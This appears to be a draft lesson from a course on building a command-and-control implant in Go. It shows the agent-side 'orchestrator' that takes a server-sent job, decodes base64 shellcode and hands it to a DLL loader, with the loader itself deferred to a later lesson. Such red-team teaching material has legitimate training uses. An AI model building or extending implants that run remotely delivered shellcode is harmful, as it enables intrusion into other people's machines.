NOTE THIS LESSON IN PARTICULAR NEEDS BETTER MORE IN DEPTH CLEARER EXPLANATIONS OF CODE

Creating our Orchestrator

- Great, so now we have the basic foundation set up, there is still A LOT to do, but for now at least let's go ahead and actually implement our orchestrator function
- These of course have to be inside of the agent package since they will be receivers, let's create a new file called orchestrator.go

orchestrateShellcode()

First let's define shape of our method

```go
// orchestrateShellcode is the orchestrator for the "shellcode" command.
func (agent *Agent) orchestrateShellcode(job *models.ServerResponse)
models.AgentTaskResult {

}
```

We create an instance of the load args struct to unmarshall the arguments for shellcode loader into

```go
    // Create an instance of the shellcode args struct
    var shellcodeArgs models.ShellcodeArgsAgent
```

ServerResponse.Arguments contains the command-specific args, so now we unmarshall the field into the struct

```go
    // ServerResponse.Arguments contains the command-specific args, so
now we unmarshall the field into the struct
    if err := json.Unmarshal(job.Arguments, &shellcodeArgs); err != nil {
        errMsg := fmt.Sprintf("Failed to unmarshal ShellcodeArgs for Task
ID %s: %v. ", job.JobID, err)
```

```
        log.Printf("|❗ ERR SHELLCODE ORCHESTRATOR| %s", errMsg)
        return models.AgentTaskResult{
            JobID:   job.JobID,
            Success: false,
            Error:   errors.New("failed to unmarshal ShellcodeArgs"),
        }
    }
    log.Printf("|✅ SHELLCODE ORCHESTRATOR| Task ID: %s. Executing
Shellcode, Export Function: %s, ShellcodeLen(b64)=%d\n",
        job.JobID, shellcodeArgs.ExportName,
len(shellcodeArgs.ShellcodeBase64))
```

Now we perform some basic agent-side validation
This was already done on server side
Good to repeat here
We DO NOT want agent to fail
Better to double-check, perhaps something could have been corrupted over the wire etc

```
    // Some basic agent-side validation
    if shellcodeArgs.ShellcodeBase64 == "" {
        log.Printf("|❗ ERR SHELLCODE ORCHESTRATOR| Task ID %s:
ShellcodeBase64 is empty.", job.JobID)
        return models.AgentTaskResult{
            JobID:   job.JobID,
            Success: false,
            Error:   errors.New("ShellcodeBase64 cannot be empty"),
        }
    }

    if shellcodeArgs.ExportName == "" {
        log.Printf("|❗ ERR SHELLCODE ORCHESTRATOR| Task ID %s: ExportName
is empty.", job.JobID)
        return models.AgentTaskResult{
            JobID:   job.JobID,
            Success: false,
            Error:   errors.New("ExportName must be specified for DLL
execution"),
        }
    }
```

Now we can decode the base64 using `base64.StdEncoding.DecodeString()`

```
    // Now let's decode our b64
    rawShellcode, err := base64.StdEncoding.DecodeString(shellcodeArgs.ShellcodeBase64)
    if err != nil {
        log.Printf("|❗ ERR SHELLCODE ORCHESTRATOR| Task ID %s: Failed to decode ShellcodeBase64: %v", job.JobID, err)
        return models.AgentTaskResult{
            JobID:   job.JobID,
            Success: false,
            Error:   errors.New("Failed to decode shellcode"),
        }
    }
```

Now we can call doer
Top is constructor to create sturct commandShellcode
Then we call method on it DoShellcode

Note these do not exists yet, will error out, this is next lesson

```
    // Call the "doer" function
    commandShellcode := shellcode.New() // Call our constructor
    shellcodeResult, err := commandShellcode.DoShellcode(rawShellcode, shellcodeArgs.ExportName) // Call the interface method
```

Now we just gather and solidify resutls

```
finalResult := models.AgentTaskResult{
        JobID: job.JobID,
        // Output will be set below after JSON encoding
    }
    outputJSON, _ := json.Marshal(string(shellcodeResult.Message))

    finalResult.CommandResult = outputJSON
    if err != nil {
        loaderError := fmt.Sprintf("|❗ ERR SHELLCODE ORCHESTRATOR| Loader execution error for TaskID %s: %v. Loader Message: %s",
            job.JobID, err, shellcodeResult.Message)
        log.Printf(loaderError)
        finalResult.Error = errors.New(loaderError)
        finalResult.Success = false

    } else {
        log.Printf("|👊 SHELLCODE SUCCESS| Shellcode execution initiated successfully for TaskID %s. Loader Message: %s",
            job.JobID, shellcodeResult.Message)
            finalResult.Success = true
    }

    return finalResult
```

We can now uncomment this from agent.go

```
func registerCommands(agent *Agent) {
    agent.commandOrchestrators["shellcode"] = (*Agent).orchestrateShellcode
    // Register other commands here in the future
}
```

But quite a bit in orchestrators.go will error out so we can't test yet let's move on for now

---

---

entire function for reference()

```

// orchestrateShellcode is the orchestrator for the "shellcode" command.
func (agent *Agent) orchestrateShellcode(job *models.ServerResponse)
```

```go
models.AgentTaskResult {

    // Create an instance of the shellcode args struct
    var shellcodeArgs models.ShellcodeArgsAgent

    // ServerResponse.Arguments contains the command-specific args, so
now we unmarshall the field into the struct
    if err := json.Unmarshal(job.Arguments, &shellcodeArgs); err != nil {
        errMsg := fmt.Sprintf("Failed to unmarshal ShellcodeArgs for Task
ID %s: %v. ", job.JobID, err)
        log.Printf("|❗ERR SHELLCODE ORCHESTRATOR| %s", errMsg)
        return models.AgentTaskResult{
            JobID:   job.JobID,
            Success: false,
            Error:   errors.New("failed to unmarshal ShellcodeArgs"),
        }
    }
    log.Printf("|✅ SHELLCODE ORCHESTRATOR| Task ID: %s. Executing
Shellcode, Export Function: %s, ShellcodeLen(b64)=%d\n",
        job.JobID, shellcodeArgs.ExportName,
len(shellcodeArgs.ShellcodeBase64))

    // Some basic agent-side validation
    if shellcodeArgs.ShellcodeBase64 == "" {
        log.Printf("|❗ERR SHELLCODE ORCHESTRATOR| Task ID %s:
ShellcodeBase64 is empty.", job.JobID)
        return models.AgentTaskResult{
            JobID:   job.JobID,
            Success: false,
            Error:   errors.New("ShellcodeBase64 cannot be empty"),
        }
    }

    if shellcodeArgs.ExportName == "" {
        log.Printf("|❗ERR SHELLCODE ORCHESTRATOR| Task ID %s: ExportName
is empty.", job.JobID)
        return models.AgentTaskResult{
            JobID:   job.JobID,
            Success: false,
            Error:   errors.New("ExportName must be specified for DLL
execution"),
        }
    }

    // Now let's decode our b64
    rawShellcode, err :=
base64.StdEncoding.DecodeString(shellcodeArgs.ShellcodeBase64)
    if err != nil {
        log.Printf("|❗ ERR SHELLCODE ORCHESTRATOR| Task ID %s: Failed to
decode ShellcodeBase64: %v", job.JobID, err)
        return models.AgentTaskResult{
            JobID:   job.JobID,
            Success: false,
            Error:   errors.New("Failed to decode shellcode"),
        }
    }

    // Call the "doer" function
    commandShellcode := shellcode.New()
    shellcodeResult, err := commandShellcode.DoShellcode(rawShellcode,
shellcodeArgs.ExportName) // Call the interface method

    finalResult := models.AgentTaskResult{
        JobID: job.JobID,
        // Output will be set below after JSON encoding
    }

    outputJSON, _ := json.Marshal(string(shellcodeResult.Message))

    finalResult.CommandResult = outputJSON

    if err != nil {
        loaderError := fmt.Sprintf("|❗ ERR SHELLCODE ORCHESTRATOR| Loader
execution error for TaskID %s: %v. Loader Message: %s",
            job.JobID, err, shellcodeResult.Message)
        log.Printf(loaderError)
        finalResult.Error = errors.New(loaderError)
        finalResult.Success = false

    } else {
        log.Printf("|👊 SHELLCODE SUCCESS| Shellcode execution initiated successfully for TaskID %s. Loader Message: %s",
            job.JobID, shellcodeResult.Message)
            finalResult.Success = true
    }

    return finalResult
}
```

COPY CODE TO FOLDER